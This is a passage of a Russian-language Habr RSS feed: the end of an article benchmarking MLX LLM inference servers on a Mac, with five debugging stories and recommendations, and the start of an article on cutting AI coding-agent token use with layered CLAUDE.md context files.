&lt;strong&gt;нескольких пользователей&lt;/strong&gt; - выбор один, mlx-openai-server. Остальные будут ставить в очередь или делить GPU пополам.&lt;hr&gt;&lt;h3&gt;Пять историй про баги&lt;/h3&gt;&lt;p&gt;Это самая интересная часть. В бенчмарке всплыло пять разных классов проблем, о которых нет ни в одном README. Три из них - настоящие ловушки, которые портят метрики, если не знать про них заранее.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/da/f2/08/daf208d29d786912e134788d25e6d086.png alt=&#34;Три аномалии из прогона&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/da/f2/08/daf208d29d786912e134788d25e6d086.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/da/f2/08/daf208d29d786912e134788d25e6d086.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Три аномалии из прогона&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4&gt;История 1 - mlx-serve: квадратичный attention в 2026 году&lt;/h4&gt;&lt;p&gt;Казалось бы, в 2026 году все LLM-серверы используют flash attention. Flash attention - это алгоритм, который не материализует полную матрицу &lt;code&gt;Q · Kᵀ&lt;/code&gt; в памяти, а считает attention кусками с &lt;strong&gt;O(N) потреблением памяти вместо O(N²)&lt;/strong&gt;. Он есть в каждой библиотеке - PyTorch, JAX, MLX.&lt;p&gt;В &lt;code&gt;mlx-serve&lt;/code&gt; - нет. Я залез в исходники на Zig: в &lt;code&gt;src/transformer.zig&lt;/code&gt; attention-матрица материализуется целиком: &lt;code&gt;heads × seq² × 4 bytes&lt;/code&gt; (float32).&lt;p&gt;Для нашей Qwen 3.5 35B на промте &lt;code&gt;30000_mmlu-pro.md&lt;/code&gt; (52247 токенов):&lt;ul&gt;&lt;li&gt;&lt;p&gt;8 KV-голов, seq = 52247&lt;li&gt;&lt;p&gt;Attention-матрица на &lt;strong&gt;один слой&lt;/strong&gt;: &lt;code&gt;8 × 52247² × 4 ≈ 87 GB&lt;/code&gt;&lt;li&gt;&lt;p&gt;KV-cache на все 64 слоя - ещё ~80 GB&lt;li&gt;&lt;p&gt;Итого: &lt;strong&gt;~170 GB&lt;/strong&gt; на 64GB машине → гарантированный &lt;code&gt;[METAL] Insufficient Memory&lt;/code&gt;&lt;/ul&gt;&lt;p&gt;В &lt;code&gt;src/server.zig:420&lt;/code&gt; есть функция &lt;code&gt;checkAttentionMemory()&lt;/code&gt;, которая решает квадратное уравнение от доступной RAM и режет контекст. На 64GB Mac она выдаёт потолок &lt;strong&gt;19383 токенов&lt;/strong&gt;. Это не лимит железа - это следствие наивной реализации attention, которая просто не успела получить flash-оптимизацию.&lt;p&gt;То есть три наших промта - &lt;code&gt;15000_gpqa&lt;/code&gt; (19838 tok), &lt;code&gt;40000_swe-bench&lt;/code&gt; (44914 tok) и &lt;code&gt;30000_mmlu-pro&lt;/code&gt; (53269 tok) - mlx-serve физически не возьмёт без переписывания &lt;code&gt;transformer.zig&lt;/code&gt;. Поэтому он отключён от бенчмарка.&lt;p&gt;Обход через &lt;code&gt;--ctx-size 65536&lt;/code&gt; не работает: флаг обходит pre-flight check, но реальный attention eval всё равно падает в Metal OOM и убивает процесс.&lt;p&gt;Урок для читателя: если ваш нативный LLM-сервер написан «с нуля», а не обёртка над mlx-lm - проверьте, использует ли он &lt;code&gt;mlx.fast.scaled_dot_product_attention&lt;/code&gt;. Если нет - потолок контекста будет проблемой.&lt;h4&gt;История 2 - vllm-mlx: фантомный tps 14000&lt;/h4&gt;&lt;p&gt;В iter01 я смотрю в CSV vllm-mlx и вижу: &lt;code&gt;gen_tps_p50 = 14909&lt;/code&gt;. Для 35B модели на consumer Mac это невозможно - реалистичный максимум в районе 80-100 tok/s. Первая мысль: мой парсинг багнут.&lt;p&gt;Полез в raw SSE-лог сервера. Вот что приходит от vllm-mlx:&lt;pre&gt;&lt;code&gt;data: {&amp;#34;choices&amp;#34;:[{&amp;#34;delta&amp;#34;:{&amp;#34;role&amp;#34;:&amp;#34;assistant&amp;#34;},&amp;#34;index&amp;#34;:0}]}&#xA;[90 секунд тишины]&#xA;data: {&amp;#34;choices&amp;#34;:[{&amp;#34;delta&amp;#34;:{&amp;#34;content&amp;#34;:&amp;#34;...&amp;lt;полный ответ 2048 токенов&amp;gt;...&amp;#34;}}]}&#xA;data: [DONE]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Первый чанк - пустой, с ролью &lt;code&gt;assistant&lt;/code&gt;. Потом 90 секунд тишины - сервер генерирует за кулисами. Потом &lt;strong&gt;весь ответ приходит одним SSE-чанком&lt;/strong&gt; в самом конце.&lt;p&gt;Харнесс видит это так:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;t_first&lt;/code&gt; = момент пустого чанка (почти мгновенно - это просто role assignment)&lt;li&gt;&lt;p&gt;&lt;code&gt;t_end&lt;/code&gt; = момент прихода data-чанка с 2048 токенами&lt;li&gt;&lt;p&gt;&lt;code&gt;generation_time = t_end − t_first ≈ 0.07 секунды&lt;/code&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;gen_tps = 2048 / 0.07 ≈ 14900&lt;/code&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Метрика математически корректна, а по смыслу - мусор.&lt;/strong&gt;&lt;p&gt;&lt;strong&gt;Хорошая новость:&lt;/strong&gt; &lt;code&gt;wall_tps&lt;/code&gt; (полное время от отправки запроса до конца ответа) остаётся верным - &lt;code&gt;1024 / 90 ≈ 50 tps&lt;/code&gt;. Это и есть настоящая скорость vllm-mlx.&lt;p&gt;&lt;strong&gt;И TTFT тоже корректен&lt;/strong&gt; - пустой первый чанк приходит после реального prefill.&lt;p&gt;Урок: &lt;code&gt;&lt;strong&gt;gen_tps&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; нельзя сравнивать между фреймворками без проверки формата streaming.&lt;/strong&gt; Если сервер отдаёт всё пакетом в конце - вы мерите не decode-скорость, а задержку сети. Всегда проверять сырой SSE-лог хотя бы одного запроса.&lt;h4&gt;История 3 - зомби-процесс на 20GB RAM&lt;/h4&gt;&lt;p&gt;Реальный кейс из середины бенчмарка. Запустил &lt;code&gt;iterate&lt;/code&gt; на шести фреймворках, пошёл пить кофе. Вернулся - смотрю: &lt;code&gt;omlx&lt;/code&gt; идёт уже полчаса на одном промте. Что-то явно залипло. Нажал Ctrl-C.&lt;p&gt;Основной процесс &lt;code&gt;app_inference&lt;/code&gt; умер. Terminal вернул prompt. Иду запускать следующий прогон.&lt;p&gt;Следующий фреймворк стартует, пытается загрузить модель - &lt;code&gt;[METAL] Insufficient Memory&lt;/code&gt;. Странно - память должна быть свободна. Смотрю &lt;code&gt;vm_stat&lt;/code&gt;:&lt;pre&gt;&lt;code&gt;Pages free: 512 MB&#xA;Pages wired down: 12 GB&#xA;Pages active: 18 GB    ← ???&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;18GB active - это ровно размер нашей 4-bit модели в unified memory. Но процесс &lt;code&gt;app_inference&lt;/code&gt; умер. Кто это держит?&lt;pre&gt;&lt;code class=bash&gt;ps aux | grep -E &amp;#34;frameworks/(omlx|higgs|vllm-mlx|mlx-serve)&amp;#34;&#xA;user 12345  omlx serve --model ...&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Subprocess &lt;code&gt;omlx serve&lt;/code&gt; &lt;strong&gt;продолжал жить&lt;/strong&gt;. Parent умер, но subprocess перешёл в init (PID 1) и продолжил работать - держал 35B модель в памяти, занимал &lt;strong&gt;~20GB RAM&lt;/strong&gt;.&lt;p&gt;Стоп. 64GB − 20GB (зомби) = 44GB свободно. А новая модель + KV cache ≈ 45GB. OOM.&lt;p&gt;Пришлось сделать явную проверку после каждого прогона:&lt;pre&gt;&lt;code class=bash&gt;ps aux | grep -E &amp;#34;frameworks/(omlx|higgs|vllm-mlx|mlx-serve|mlx-openai|mlx-omni|Rapid-MLX)&amp;#34; | grep -v grep&#xA;# если что-то нашлось - kill &amp;lt;pid&amp;gt;, дождаться vm_stat&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В харнесс добавил post-run cleanup, который убивает любые subprocess, в пути к которым есть &lt;code&gt;frameworks/&lt;/code&gt;. Мораль: &lt;strong&gt;35B модель буквально «занимает» треть памяти Mac.&lt;/strong&gt; Ни один README про это не предупреждает, а на 64GB это критично.&lt;h4&gt;История 4 - omlx: hardcoded ctx window 32768&lt;/h4&gt;&lt;p&gt;Это та самая проблема, из-за которой omlx в таблице имеет &lt;code&gt;6/8 OK&lt;/code&gt; вместо &lt;code&gt;8/8&lt;/code&gt;. Два больших промта возвращают HTTP 400:&lt;pre&gt;&lt;code class=json&gt;{&#xA;  &amp;#34;error&amp;#34;: {&#xA;    &amp;#34;message&amp;#34;: &amp;#34;Prompt too long: 52247 tokens exceeds max context window of 32768 tokens&amp;#34;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Казалось бы - ctx window это конфиг, должен быть CLI-флаг. Смотрю:&lt;pre&gt;&lt;code class=bash&gt;omlx serve --help&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;никаких &lt;code&gt;--ctx-size&lt;/code&gt;, &lt;code&gt;--max-ctx&lt;/code&gt;, &lt;code&gt;--context-window&lt;/code&gt;. Лимит зашит либо в конфиге модели, либо в коде сервера. Без патча обойти нельзя.&lt;/ul&gt;&lt;p&gt;Почему остальные берут эти промты? Потому что они основаны на &lt;code&gt;mlx-lm&lt;/code&gt;, который читает &lt;code&gt;max_position_embeddings&lt;/code&gt; из конфига модели и дальше не проверяет - просто пробует генерировать. Качество на длинных контекстах может деградировать, но технически ответ вы получите. omlx же делает explicit check и отвечает 400.&lt;p&gt;Если ваш workload включает длинные промты (&amp;gt;32k) - omlx не подходит, пока не добавят флаг.&lt;h4&gt;История 5 - mlx-omni-server: autodetect подменяет модель&lt;/h4&gt;&lt;p&gt;Возвращаемся к тому самому прыжку &lt;code&gt;45 → 63.7 tps&lt;/code&gt; между iter01 и iter02. В iter01 харнесс вызывает &lt;code&gt;GET /v1/models&lt;/code&gt; для автоопределения &lt;code&gt;model_id&lt;/code&gt;. mlx-omni-server возвращает &lt;strong&gt;первую модель из кэша&lt;/strong&gt; &lt;code&gt;~/.lmstudio/models/&lt;/code&gt;. А в кэше у меня оказалась не только &lt;code&gt;Qwen3.5-35B-A3B-4bit&lt;/code&gt;, но и &lt;code&gt;Qwen3.5-35B-A3B-**8bit**&lt;/code&gt; (оставалась от предыдущих экспериментов).&lt;p&gt;Харнесс записал в конфиг 8bit и отправлял все запросы на неё. 8-битная версия весит ~40GB вместо 20GB и работает &lt;strong&gt;на 42% медленнее&lt;/strong&gt; на Apple Silicon.&lt;p&gt;Обнаружил случайно - глянул &lt;code&gt;server.log&lt;/code&gt;:&lt;pre&gt;&lt;code&gt;[INFO] Loaded model: mlx-community/Qwen3.5-35B-A3B-8bit&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;А ожидал &lt;code&gt;...4bit&lt;/code&gt;. Фикс - явный &lt;code&gt;model_alias&lt;/code&gt; в конфиге, чтобы autodetect не работал:&lt;pre&gt;&lt;code class=yaml&gt;mlx-omni-server:&#xA;  model_alias: mlx-community/Qwen3.5-35B-A3B-4bit&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В iter02 - &lt;code&gt;45 → 63.7 tps&lt;/code&gt;. &lt;strong&gt;Метрики прыгнули не из-за оптимизации, а потому что я наконец тестировал правильную модель.&lt;/strong&gt;&lt;p&gt;Урок скучный, но важный: &lt;strong&gt;всегда проверяйте, какую модель реально загрузил сервер.&lt;/strong&gt; Autodetect в MLX-серверах часто берёт «первую подходящую» из кэша LM Studio. Если там лежат несколько версий - можете тестировать не то, что думаете.&lt;hr&gt;&lt;h3&gt;Выводы: что выбрать&lt;/h3&gt;&lt;p&gt;Сворачиваю всё в одну картинку. Пять осей, нормализованные 0…1: скорость одиночных запросов, коэффициент батчинга, отзывчивость (обратный TTFT), стабильность на длинном контексте, честность метрик.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/e3/a3/8a/e3a38a84e5b2d9ab79c666b2b5d3e48b.png alt=&#34;Scorecard: пять осей, один победитель&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/e3/a3/8a/e3a38a84e5b2d9ab79c666b2b5d3e48b.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/e3/a3/8a/e3a38a84e5b2d9ab79c666b2b5d3e48b.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Scorecard: пять осей, один победитель&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Overall winner - mlx-openai-server.&lt;/strong&gt; Не потому что он быстрее всех на single (mlx-omni чуть впереди - 64 vs 63), а потому что он &lt;strong&gt;единственный, кто реально батчит&lt;/strong&gt; (2.17× вместо 1.1-1.8 у остальных), &lt;strong&gt;не обрезает промты&lt;/strong&gt; (8/8 vs 6/8 у omlx), &lt;strong&gt;честно стримит&lt;/strong&gt; (реальный gen_tps 75, а не фантомные 15000), и &lt;strong&gt;стабилен&lt;/strong&gt; (±0.2% между четырьмя повторами).&lt;p&gt;Но «один победитель на все сценарии» - это неправда. Вот честная таблица:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Сценарий&lt;th&gt;&lt;p align=left&gt;Выбор&lt;th&gt;&lt;p align=left&gt;Почему&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Несколько пользователей (LiteLLM/gateway)&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;mlx-openai-server&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Единственный настоящий batcher (2.17×)&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Один пользователь, latency важна&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;mlx-omni-server&lt;/strong&gt; (&lt;code&gt;--workers 2&lt;/code&gt;)&lt;td&gt;&lt;p align=left&gt;Лучший TTFT (7.3с) + top single tps (64)&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Research / честные метрики&lt;td&gt;&lt;p align=left&gt;mlx-openai-server или mlx-omni-server&lt;td&gt;&lt;p align=left&gt;Корректные TTFT, gen_tps, wall_tps&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Длинный контекст (&amp;gt;32k токенов)&lt;td&gt;&lt;p align=left&gt;любой кроме omlx и mlx-serve&lt;td&gt;&lt;p align=left&gt;omlx - ctx 32k, mlx-serve - OOM&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Максимальная простота запуска&lt;td&gt;&lt;p align=left&gt;Rapid-MLX&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;rapid-mlx serve &amp;lt;model&amp;gt;&lt;/code&gt; и готово&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Dual API (OpenAI + Anthropic)&lt;td&gt;&lt;p align=left&gt;mlx-omni-server&lt;td&gt;&lt;p align=left&gt;Единственный с Anthropic endpoint&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Без Python runtime&lt;td&gt;&lt;p align=left&gt;пока никто&lt;td&gt;&lt;p align=left&gt;Ждать higgs + qwen3_5_moe, или ждать flash attention в mlx-serve&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Чего не хватает в этом бенчмарке - честно: я не тестировал batch &amp;gt;2 (реальный multi-user это 4-8 параллельных), не сравнивал с llama.cpp (сознательно, статья про MLX-экосистему), не делал автоматической оценки качества ответов (все фреймворки используют одну модель, текст одинаковый - разница только в том, доходит ли ответ до конца или обрезается по &lt;code&gt;max_tokens&lt;/code&gt;).&lt;hr&gt;&lt;h3&gt;Бонус: а что если убрать Python&lt;/h3&gt;&lt;p&gt;В процессе стало видно очевидное. Python-серверы хорошие, но тяжёлые: torch, transformers, ffmpeg, &lt;strong&gt;2.5GB зависимостей&lt;/strong&gt;, GIL, холодный старт 10+ секунд. Rust-сервер &lt;code&gt;higgs&lt;/code&gt; - &lt;strong&gt;single binary, 30MB, стартует мгновенно&lt;/strong&gt; - но не поддерживает &lt;code&gt;qwen3_5_moe&lt;/code&gt;. Zig-сервер &lt;code&gt;mlx-serve&lt;/code&gt; - быстрый, но квадратичный attention.&lt;p&gt;Нехватка очевидна: &lt;strong&gt;single binary на Rust + MLX, с поддержкой Qwen 3.5 MoE, с настоящим continuous batching&lt;/strong&gt;. Я начал делать форк higgs с портированием ключевой логики из mlx-openai-server - prompt cache (prefix-trie + LRU), request queue на tokio mpsc, архитектура qwen3_5_moe в mlx-rs, tool/reasoning parser.&lt;p&gt;Это отдельная история на 7-10 недель. Когда будут цифры - напишу вторую статью, &lt;code&gt;Rust vs Python для LLM inference - реальный бенчмарк&lt;/code&gt;. А пока - вот этот.&lt;hr&gt;&lt;h3&gt;Собрать эксперимент у себя&lt;/h3&gt;&lt;p&gt;Всё воспроизводимо. &lt;a href=https://github.com/yaruslove/qwen3.5-bench-8-mlx-server-mac rel=&#34;noopener noreferrer nofollow&#34;&gt;Мой репозиторий&lt;/a&gt; с харнессом, конфигами итераций, промтами и gold-ответами лежит публично. Запуск:&lt;pre&gt;&lt;code class=bash&gt;cd app_inference&#xA;uv run -m app_inference run --config config/iteration_05.yaml&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Результат: &lt;code&gt;data_test/results/NNN_iterXX_YYYYMMDD_HHMMSS/&lt;/code&gt; - полный CSV per request, серверные логи, ответы моделей, снимок окружения. Хотите auto-tune (harness сам удвоит &lt;code&gt;max_tokens&lt;/code&gt; при truncation и выключит падающий фреймворк):&lt;pre&gt;&lt;code class=bash&gt;uv run -m app_inference iterate --rounds 6 --config config/iteration_01.yaml&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Если повторите с другими промтами или моделью - интересно посмотреть числа. Комментарии открыты.&lt;hr&gt;&lt;p&gt;&lt;strong&gt;Спасибо что прочитали.&lt;/strong&gt; Если было полезно - поставьте плюс, это подскажет Хабру, что такие long-read бенчмарки нужны. Следующая статья - про Rust-сервер MLX-inferene сделанный через клод. Если хотите про что-то конкретное (llama.cpp сравнение? batch &amp;gt;2? квантизация 8bit vs 4bit на качество?) - напишите в комментариях.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>kitbit</author>
      <guid>https://habr.com/ru/articles/1024880/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024880</guid>
      <pubDate>Fri, 17 Apr 2026 21:35:39 +0000</pubDate>
    </item>
    <item>
      <title>Почему ваш AI-агент тратит 80% токенов на файлы, которые уже читал вчера — и как это починить тремя markdown-файлами</title>
      <link>https://habr.com/ru/articles/1024878/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024878</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;blockquote&gt;&lt;p&gt;Продолжение серии. Первая часть: &lt;a href=https://habr.com/ru/articles/1013330/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Как я перестал бояться Claude Code и научил его не ломать мои проекты&lt;/a&gt;&lt;/blockquote&gt;&lt;p&gt;В прошлой статье я разобрал почему Claude Code ломает проекты (context drift, отсутствие &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt;, нет хуков на тесты) и как выстроить защиту от регрессий. Статья попала в топ-5 Хабра за сутки — видимо, проблема задела нерв.&lt;p&gt;Но в комментариях и в личных сообщениях всплыл вопрос, который я тогда обошёл стороной: &lt;strong&gt;а что с самими токенами?&lt;/strong&gt; Контекстное окно стало миллион, но агент всё равно жрёт его как не в себя. Куда уходят токены? Почему одна и та же сессия с одним и тем же проектом каждый раз начинается с нуля?&lt;p&gt;Я работаю с 20+ проектами на нескольких VPS-серверах. После того как я замерил, куда реально уходит контекст — картина оказалась неприятной.&lt;h3&gt;Анатомия слепого поиска&lt;/h3&gt;&lt;p&gt;Задал Claude Code простой вопрос: «Какие способы оплаты поддерживает мой ХХХ-бот?»&lt;p&gt;Вот что произошло:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Грепнул домашнюю директорию на слово «payment» — 3 tool call&amp;#39;а&lt;li&gt;&lt;p&gt;Нашёл 6 файлов-кандидатов в разных проектах, прочитал все — 6 вызовов&lt;li&gt;&lt;p&gt;Понял что попал не в тот проект, начал искать заново — 4 вызова&lt;li&gt;&lt;p&gt;Подключился по SSH к серверу чтобы проверить конфиг — 2 вызова&lt;li&gt;&lt;p&gt;Ответил — 15+ вызовов инструментов, 80K+ токенов, 8 минут&lt;/ol&gt;&lt;p&gt;Ответ занял ~800 токенов. Всё остальное — навигация. Агент потратил 99% бюджета на то, чтобы понять &lt;strong&gt;где&lt;/strong&gt; искать, и 1% — на сам ответ.&lt;p&gt;Это не баг Claude Code. Это фундаментальная проблема архитектуры всех AI-агентов для кодинга. Cursor делает то же самое. Codex делает то же самое. Gemini CLI делает то же самое. У них нет карты вашего рабочего пространства, поэтому каждая сессия начинается с разведки.&lt;p&gt;С одним проектом это терпимо. С пятнадцатью — это часы контекста в день, потраченные на ориентирование.&lt;h3&gt;Почему существующие решения не работают&lt;/h3&gt;&lt;h4&gt;RAG и векторный поиск&lt;/h4&gt;&lt;p&gt;Первая мысль: «нужен RAG, закинем всё в embeddings». На рынке десятки инструментов — Cody, Sourcegraph, различные MCP-серверы для векторного поиска.&lt;p&gt;Проблема: векторный поиск ловит &lt;strong&gt;семантическое сходство&lt;/strong&gt;, но не &lt;strong&gt;структуру&lt;/strong&gt;. Спросите «как работает аутентификация?» — и получите 15 чанков, упоминающих «auth», «login», «token». Что он пропустит: &lt;code&gt;middleware.ts&lt;/code&gt; вызывает &lt;code&gt;refresh.ts&lt;/code&gt;, который зависит от &lt;code&gt;jwt-config.ts&lt;/code&gt;. Цепочка вызовов — реальная архитектура — невидима для embeddings, потому что они ловят похожесть, а не связи.&lt;p&gt;Кроме того, RAG добавляет инфраструктуру: нужен embedding-сервер, индекс, ре-ранкинг. Сотни миллисекунд задержки на каждый запрос. Для инструмента, который должен работать со скоростью мышления агента — это слишком медленно.&lt;h4&gt;Tree-sitter и статический анализ&lt;/h4&gt;&lt;p&gt;Второй подход — парсить AST и строить граф зависимостей. Инструменты типа Hypergrep делают именно это: функции, вызовы, импорты — всё в графе.&lt;p&gt;Это хорошо работает для навигации &lt;strong&gt;внутри&lt;/strong&gt; одного проекта. Но у меня пятнадцать проектов. Tree-sitter не ответит на вопрос «какие из моих проектов используют Redis?» или «где задеплоен VPN-бот?». Это разные уровни абстракции.&lt;h4&gt;CLAUDE.md на каждый проект&lt;/h4&gt;&lt;p&gt;В прошлой статье я писал про &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; — файл с архитектурой, командами, правилами. Он решает проблему &lt;strong&gt;внутри&lt;/strong&gt; проекта. Но когда агент не знает в каком проекте искать — он бессилен. Агент сначала должен найти проект, потом — прочитать его &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt;.&lt;h3&gt;Решение: иерархический контекст&lt;/h3&gt;&lt;p&gt;Все три подхода выше решают часть проблемы, но на разных уровнях. Мне нужна была система, которая покрывает все уровни сверху вниз:&lt;pre&gt;&lt;code&gt;Level 0: Карта проектов     — знает ВСЕ проекты и серверы     (~2KB, всегда в контексте)&#xA;Level 1: Детали проекта     — архитектура конкретного проекта  (~5KB, по запросу)  &#xA;Level 1.5: Граф кода        — структура кодовой базы           (опционально, Graphify)&#xA;Level 2: Исходный код       — реальные файлы                   (только когда нужен)&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Ключевой принцип: &lt;strong&gt;агент идёт сверху вниз, а не снизу вверх&lt;/strong&gt;. Сначала карта → потом проект → потом код. Не grep → read all → hope for the best.&lt;h4&gt;Level 0: Глобальная карта&lt;/h4&gt;&lt;p&gt;Добавляется в глобальный файл инструкций агента (&lt;code&gt;~/.claude/&lt;/code&gt;&lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/a&gt; для Claude Code, &lt;code&gt;.cursorrules&lt;/code&gt; для Cursor):&lt;pre&gt;&lt;code&gt;## Project Map&#xA;&#xA;| Проект | Путь | Сервер | Статус |&#xA;|--------|------|--------|--------|&#xA;| VPN Bot | ~/projects/vpn-bot/ | prod-1:/opt/vpn/ | LIVE |&#xA;| Auth Service | ~/projects/auth/ | prod-1 (Docker) | LIVE |&#xA;| Landing | ~/projects/landing/ | Cloudflare Pages | LIVE |&#xA;| DiaBot | ~/projects/diabot/ | prod-2:/opt/diabot/ | BETA |&#xA;| Admin Panel | ~/projects/admin/ | staging | DEV |&#xA;&#xA;### Серверы&#xA;| Имя | IP | Назначение |&#xA;|-----|-----|-----------|&#xA;| prod-1 | 178.17.50.45 | Основной VPS, 3 сервиса |&#xA;| prod-2 | 95.85.234.200 | DiaBot + мониторинг |&#xA;&#xA;### Правило&#xA;Прежде чем читать исходный код — прочитай CLAUDE.md проекта.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Это ~2KB. Загружается автоматически в каждой сессии. Агент мгновенно знает: какие проекты существуют, где они лежат, на каких серверах запущены.&lt;h4&gt;Level 1: CLAUDE.md проекта&lt;/h4&gt;&lt;p&gt;В корне каждого проекта — файл с архитектурой, стеком, ключевыми файлами, командами деплоя:&lt;pre&gt;&lt;code&gt;# VPN Bot — CLAUDE.md&#xA;&#xA;## Status: LIVE (prod-1)&#xA;Telegram-бот VPN-сервиса. Подписки через Stars и CryptoBot.&#xA;&#xA;## Stack&#xA;Python 3.11, python-telegram-bot, WireGuard, aiosqlite&#xA;&#xA;## Key Files&#xA;- bot/main.py — точка входа&#xA;- bot/payments.py — Stars + CryptoBot обработка&#xA;- bot/vpn_manager.py — управление WireGuard конфигами&#xA;- scripts/sync_users.py — синхронизация пользователей&#xA;&#xA;## Deploy&#xA;- Сервис: vpn-bot.service&#xA;- Логи: journalctl -u 